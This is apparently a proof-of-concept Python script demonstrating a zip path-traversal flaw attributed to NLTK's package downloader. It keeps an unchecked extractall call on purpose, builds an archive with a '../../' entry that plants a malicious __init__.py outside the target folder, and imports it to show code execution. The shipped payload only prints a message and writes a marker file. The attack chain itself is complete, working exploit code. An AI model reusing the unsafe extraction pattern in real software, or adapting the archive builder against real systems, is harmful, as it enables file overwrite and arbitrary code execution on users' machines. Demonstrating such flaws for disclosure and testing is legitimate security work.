Vulnerable code sample

import zipfile
import os
import io
import shutil

# This function represents the vulnerable part of nltk/downloader.py before a fix.
# The original function in NLTK was _unzip_iter, but for clarity, we use a
# simplified, direct function that highlights the vulnerability.
def vulnerable_unzip_extractall(zip_path, extract_path):
    """
    Demonstrates the vulnerable extraction using zipfile.extractall()
    without validating member paths. This is susceptible to path traversal.
    """
    print(f"[INFO] Preparing to extract '{zip_path}' to '{extract_path}'...")
    with zipfile.ZipFile(zip_path, 'r') as zf:
        # THE VULNERABLE CALL:
        # extractall() does not sanitize file paths inside the zip.
        # An attacker can include ".." in a file name to write outside
        # the intended `extract_path`.
        zf.extractall(path=extract_path)
    print(f"[INFO] Extraction completed for '{zip_path}'.")


def create_malicious_zip_package():
    """
    Creates a malicious zip file in memory.
    The zip file contains a file with a path traversal payload.
    It's designed to write an `__init__.py` file outside the target directory.
    """
    zip_buffer = io.BytesIO()

    # The malicious code that will execute upon import.
    # It prints a message and creates a file to prove execution.
    malicious_python_code = b"""
import os
print("="*60)
print("[!!!] PWNED! Remote Code Execution successful!")
print("[!!!] The malicious __init__.py file has been executed by Python.")
print(f"[!!!] Current working directory: {os.getcwd()}")
with open("pwned_by_nltk.txt", "w") as f:
    f.write("Your system is compromised.")
print("[!!!] Created 'pwned_by_nltk.txt' in the current directory.")
print("="*60)
"""
    # This path, when extracted, will traverse up from the extraction
    # directory and create a new Python package folder named 'malicious_importer'.
    # On many systems, `../../` will place it in a location that is
    # discoverable by Python's import system.
    malicious_file_path = "../../malicious_importer/__init__.py"

    with zipfile.ZipFile(zip_buffer, 'w') as zf:
        # Add the malicious file to the zip archive.
        zf.writestr(malicious_file_path, malicious_python_code)
        # Add a harmless file to make it look like a normal package.
        zf.writestr("harmless_data.txt", b"this is some normal data.")

    zip_buffer.seek(0)
    return zip_buffer


if __name__ == '__main__':
    # 1. SETUP: Simulate the NLTK environment
    DOWNLOAD_DIR = "nltk_data/packages/corpora"
    MALICIOUS_ZIP_FILENAME = "malicious_package.zip"

    # Create the directory where NLTK would download and extract packages
    os.makedirs(DOWNLOAD_DIR, exist_ok=True)
    print(f"[SETUP] Created extraction directory: '{os.path.abspath(DOWNLOAD_DIR)}'")

    # 2. PAYLOAD CREATION: Attacker creates a malicious zip file.
    malicious_zip_data = create_malicious_zip_package()
    with open(MALICIOUS_ZIP_FILENAME, "wb") as f:
        f.write(malicious_zip_data.read())
    print(f"[SETUP] Malicious zip file '{MALICIOUS_ZIP_FILENAME}' created.")

    # 3. THE VULNERABLE ACTION: NLTK's downloader extracts the package.
    # This is the core of the vulnerability.
    try:
        vulnerable_unzip_extractall(MALICIOUS_ZIP_FILENAME, DOWNLOAD_DIR)
    except Exception as e:
        print(f"[ERROR] An exception occurred during extraction: {e}")

    # Verify that the malicious package was created outside the intended directory
    expected_malicious_dir = os.path.abspath(os.path.join(DOWNLOAD_DIR, '../../malicious_importer'))
    print(f"[VERIFY] Checking for existence of malicious directory: '{expected_malicious_dir}'")
    if os.path.isdir(expected_malicious_dir):
        print("[SUCCESS] Path traversal successful! Malicious package directory was created.")
    else:
        print("[FAIL] Path traversal failed. Malicious directory not found.")

    # 4. TRIGGER: The application (or another process) later tries to import the package.
    # Python will find the 'malicious_importer' package because the path traversal
    # placed it in a directory in its search path (e.g., the root of the project).
    # Importing it will automatically execute the code in `__init__.py`.
    print("\n[TRIGGER] Simulating the application attempting to import the package...")
    try:
        # This import statement triggers the Remote Code Execution
        import malicious_importer
    except ImportError:
        print("[FAIL] Could not import 'malicious_importer'. The RCE was not triggered.")
    except Exception as e:
        print(f"[ERROR] An unexpected error occurred during import: {e}")

    # 5. CLEANUP
    print("\n[CLEANUP] Cleaning up created files and directories...")
    if os.path.exists("pwned_by_nltk.txt"):
        os.remove("pwned_by_nltk.txt")
        print("[CLEANUP] Removed 'pwned_by_nltk.txt'.")
    if os.path.exists(MALICIOUS_ZIP_FILENAME):
        os.remove(MALICIOUS_ZIP_FILENAME)
        print(f"[CLEANUP] Removed '{MALICIOUS_ZIP_FILENAME}'.")
    if os.path.exists("nltk_data"):
        shutil.rmtree("nltk_data")
        print("[CLEANUP] Removed 'nltk_data' directory.")
    if os.path.exists("malicious_importer"):
        shutil.rmtree("malicious_importer")
        print("[CLEANUP] Removed 'malicious_importer' directory.")